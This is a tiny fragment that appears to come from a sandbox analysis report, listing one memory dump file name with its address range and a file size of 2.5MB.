memory/1932-19-0x000007FEF5D50000-0x000007FEF5FCA000-memory.dmpFilesize
2.5MB